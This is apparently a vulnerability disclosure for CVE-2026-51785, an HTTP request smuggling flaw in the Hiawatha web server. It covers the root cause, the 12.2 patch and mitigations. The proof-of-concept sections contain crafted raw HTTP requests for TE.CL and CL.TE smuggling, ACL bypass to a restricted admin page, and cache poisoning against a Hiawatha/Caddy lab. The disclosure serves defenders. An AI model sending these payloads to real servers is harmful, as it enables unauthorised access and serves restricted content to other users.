|
HTTP Request Smuggling in Hiawatha - CVE-2026-51785 |
Hiawatha is an open-source, security-focused web server used to serve websites and host web applications on Unix-like systems. It is designed to be lightweight, and its author lists security and ease of use among its stated design goals.
It is released under the GNU GPLv2, and has been developed since 2002 by a single person. It is typically deployed internet-facing on Unix-like systems either as a primary web server or placed in front of other web servers as a reverse proxy.
Key features * Reverse proxy: forwards matching requests to a back-end server. * Web cache: caches static files, CGI output, and reverse-proxy responses. * ACL: IP-based access control on hosts and directories. * Keep-alive: client-side by default; opt-in on the back-end proxy connection.
Adoption
Hiawatha is a niche, single-developer project, promoted by its author as a
secure and lightweight alternative to other web servers. As of the time of writing, Shodan returns roughly 6,100 internet-facing services whose banner contains Server: Hiawatha. This should be read as a lower bound: instances configured with a custom or empty ServerString are not counted.

An HTTP Request Smuggling vulnerability (CWE-444) was identified in Hiawatha <= 12.1.
The issue stems from how Hiawatha handles requests carrying both Transfer-Encoding and Content-Length headers. When such an ambiguous request is received, Hiawatha:
- Prioritizes Content-Length over Transfer-Encoding, whereas RFC 9112 §6.3 mandates the opposite.
- When acting as a reverse proxy, forwards the request downstream without stripping the original Content-Length header.
An unauthenticated remote attacker can exploit this in order to desynchronize the front-end and the back-end, smuggling a request that poisons the back-end connection.
Depending on the deployment, this can lead to denial of service, integrity violations, exposure of access-restricted resources and in some cases disclosure of confidential information.
The vulnerability was fixed in version 12.2.
The vulnerability originates from two distinct flaws in Hiawatha's source tree, one in the core HTTP parser and one in the reverse-proxy module.
The request-parsing logic (lines 225-295) evaluates the two framing headers in the wrong order: it checks for Content-Length first and only falls back to chunked decoding if Content-Length is absent. As a result, any request carrying both headers is framed on Content-Length, which is the exact opposite of what RFC 9112 §6.3 requires.
if ((strstart = find_http_header(session->request, hs_conlen)) != NULL) {
/* Request has Content-Length
*/
...
} else if (find_http_header(session->request, hs_chunked) != NULL) {
/* Chunked transfer encoding
*/
...
} else {
/* No content
*/
...
}
This first flaw makes the TE.CL scenario (Hiawatha as a back-end) exploitable.
The 12.2 patch fixes this flow by adding another if statement which checks whether the request contains both Transfer-Encoding and Content-Length, in which case Hiawatha returns a 400.
if ((strstart = find_http_header(session->request, hs_conlen)) != NULL) {
/* Both content length and chunked transfer encoding not allowed
*/
if (find_http_header(session->request, hs_chunked) != NULL) {
result = 400;
break;
}
/* Request has Content-Length
*/
...
} else if (find_http_header(session->request, hs_chunked) != NULL) {
/* Chunked transfer encoding
*/
...
} else {
/* No content
*/
...
}
Inside the function send_request_to_webserver (around line 393), no code path removes the incoming Content-Length header when a Transfer-Encoding is also present. The ambiguous request is relayed to the back-end verbatim, which is precisely what RFC 9112 §6.3 forbids:
An intermediary that chooses to forward the message MUST first remove the received Content-Length field […] prior to forwarding the message downstream.
This second flaw is what makes the CL.TE scenario (Hiawatha as front-end) exploitable end-to-end: the front-end frames on Content-Length, the compliant back-end frames on the unstripped Transfer-Encoding, and the two hops desynchronize.
The 12.2 patch does not modify rproxy.c; by rejecting ambiguous requests in the parser (flaw 1), it prevents them from ever reaching this forwarding path, neutralizing this second flaw indirectly.
Because of the two flaws listed previously, Hiawatha is vulnerable to HTTP Request Smuggling when used as a reverse proxy and a web server. In each case, the conditions of exploitation are not the same.
In this case, Hiawatha needs to be placed behind a particular reverse proxy to be exploitable. More precisely, this is the behavior of the reverse proxy when receiving an ambiguous request containing both Content-Length and Transfer-Encoding headers that will determine if the vulnerability is exploitable by an attacker.
The reverse proxy needs to:
- forward the Transfer-Encoding and Content-Length headers verbatim to Hiawatha.
- accept those kinds of requests without throwing any error response
If these conditions are met, it will be possible to exploit what is called a TE.CL vulnerability by crafting a request such as:
POST / HTTP/1.1
Host: something.com
Content-Length: 4
Transfer-Encoding: chunked
42
GET /smuggling HTTP/1.1
Host: something.com
Content-Length: 42
0
An attacker sending this request will trigger a desynchronization between the front-end and the back-end. This is caused by the fact that:
- The proxy when receiving the request will frame the body using Transfer-Encoding which will cause the proxy to process the entire body. It will then forward the request with both Transfer-Encoding and Content-Length without modification.
- Hiawatha will then receive the request but will frame the body using Content-Length because of the flaw 1. As a result, Hiawatha will only consider 42\r\n to be part of the body and the rest will be the beginning of another request.
The next request received by Hiawatha on the same connection will be prefixed by the following:
GET /smuggling HTTP/1.1
Host: something.com
Content-Length: 42
0
Assuming the next request on the connection is:
GET / HTTP/1.1
Host: something.com
Hiawatha will consider that the second request is:
GET /smuggling HTTP/1.1
Host: something.com
Content-Length: 42
0
GET / HTTP/1.1
Host: something.com
A GET request targeting the / resource will be answered as if it were a GET request on the /smuggling resource.
The second request in this example can either be made by the attacker themselves, or by another client when the upstream proxy reuses the same connection to Hiawatha across multiple clients. This distinction (attacker-only versus victim traffic) determines the severity of the attack and is discussed in the Impact section.
This time, Hiawatha needs to be placed in front of a web server that respects this condition:
- When receiving an ambiguous request containing both Content-Length and Transfer-Encoding, the web server doesn't throw any error and frames the request using Transfer-Encoding as the RFC mandates.
This condition is considerably easier to satisfy than in the previous case. There, exploitation required a non-compliant front-end that forwards both headers without stripping Content-Length; here, it only requires a back-end that behaves as RFC 9112 §6.3 mandates — framing on Transfer-Encoding when both headers are present. Since Hiawatha itself supplies the non-compliant front-end behavior (flaws 1 and 2), the only external requirement is a reasonably standard back-end. The one caveat is that some servers reject ambiguous requests outright with a 400 rather than framing on Transfer-Encoding; those break the desynchronization and are not exploitable.
If the condition is met, it will be possible to exploit what is called a CL.TE vulnerability by crafting a request such as:
POST / HTTP/1.1
Host: something.com
Transfer-Encoding: chunked
Content-Length: 40
0
GET /smuggling HTTP/1.1
X-Ignore:
Hiawatha will frame the body with Content-Length and forward both Transfer-Encoding and Content-Length (flaw 1 and flaw 2).
Because the back-end prioritizes Transfer-Encoding, it treats the body as empty and everything after the 0 chunk will prefix the next request on the connection.
Assuming the next request on the connection is:
GET / HTTP/1.1
Host: something.com
The back-end will consider the second request as follows:
GET /smuggling HTTP/1.1
X-Ignore: GET / HTTP/1.1
Host: something.com
A GET request targeting the / resource will be answered as if it were a GET request on the /smuggling resource.
The second request in this example can either be made by the attacker themselves, or by another client when Hiawatha reuses the same back-end connection across multiple clients (back-end keep-alive, which is opt-in). This distinction (attacker-only versus victim traffic) determines the severity of the attack and is discussed in the Impact section.
This Proof of Concept demonstrates one attack scenario. Many others exist and are not covered in this article. For more information about smuggling, you can read PortSwigger's material on HTTP Request Smuggling.
In order to reproduce this PoC, you will need: - An instance of Hiawatha <= 12.1 - Caddy <= 2.11.4 (latest version at the time of writing)
Hiawatha will be the reverse proxy and needs to forward requests to the Caddy web server. It is achievable by adding a line like this in the configuration file of Hiawatha:
ReverseProxy .* http://caddy:80/ 10 keep-alive
caddy is the hostname of the Caddy web serverOne of Hiawatha's features is the possibility to add access controls inside the configuration file:
UrlToolkit {
ToolkitID = block_admin
Match ^/admin\.html$ DenyAccess
}
UseToolkit = block_admin
This prevents any client from accessing the /admin.html resource by answering with 403 forbidden.
HTTP Request Smuggling can be used to bypass this type of restriction. All that is needed is two requests.
The first one is the following:
GET /index.html HTTP/1.1
Host: something.com
Content-Length: 41
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
0
GET /admin.html HTTP/1.1
X-Ignore:
And the second one:
GET /index.html HTTP/1.1
Host: something.com
By sending these two requests on the same connection (using burp or python for example), you will be able to bypass the restriction. If done correctly, the answer to the second request will be the admin page.

Another of Hiawatha's features is a web cache. You can add this feature by altering the configuration file like this:
CacheSize = 32
CacheMaxFilesize = 1024
CacheRProxyExtensions = html, css, js, txt
It is possible to poison this cache in order to make every request for page x be answered with page y. In our example, we will use index.html as the x page and admin.html (which is normally blocked by the ACL) as the y page.
Then we need to perform the same smuggling bypassing the ACL. The two requests are the same as in the ACL-bypass PoC, with one difference: the outer (enveloping) request must not resolve to /index.html on Hiawatha, otherwise Hiawatha caches the genuine page and the poisoning fails. A cache buster on the enveloping request (for example a query string) avoids this, while the smuggled request still poisons the /index.html cache entry.
The first one is the following:
GET /index.html?x=a HTTP/1.1
Host: something.com
Content-Length: 41
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
0
GET /admin.html HTTP/1.1
X-Ignore:
And the second one:
GET /index.html HTTP/1.1
Host: something.com
Once these two requests are sent on the same connection, Hiawatha stores the /admin.html response under the /index.html cache key. Any subsequent client requesting /index.html is then served the restricted admin page, while a direct request to /admin.html still returns 403.
The available impact depends on Hiawatha's role in the chain.
Reproduced in our lab (Hiawatha front-end, Caddy 2.11.4 back-end). Achievable by an unauthenticated remote attacker; does not require shared back-end connections.
UrlToolkit ACL (/admin.html)./index.html) serve a restricted one (/admin.html) to every subsequent client,
while a direct request still returns 403.When Hiawatha sits behind a reverse proxy that reuses its upstream connections across clients, the desynchronization additionally allows:
This class of impact was not reproduced in our lab and depends on the upstream proxy's connection-reuse behavior.
CVSS 3.1 Base Score: 9.6 (Critical) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
This reflects the worst-case deployment (Hiawatha as a back-end behind a legacy proxy that pools upstream connections). In the configuration reproduced in our lab (Hiawatha as front-end), the demonstrated impact corresponds to a lower vector (C:L/I:H/A:L, ~High).
Upgrade to Hiawatha 12.2 or later. The fix rejects any request carrying both a
Content-Length and a Transfer-Encoding header with a 400 Bad Request at the
parsing stage (src/http.c), before the request can reach the reverse-proxy forwarding
path. This closes both the framing-priority flaw and, indirectly, the header-forwarding
flaw.
If upgrading is not immediately possible, mitigations include placing a
standards-compliant proxy in front of Hiawatha that rejects or normalizes ambiguous
Content-Length + Transfer-Encoding requests, and disabling reverse-proxy back-end
keep-alive and the reverse-proxy cache where they are not required.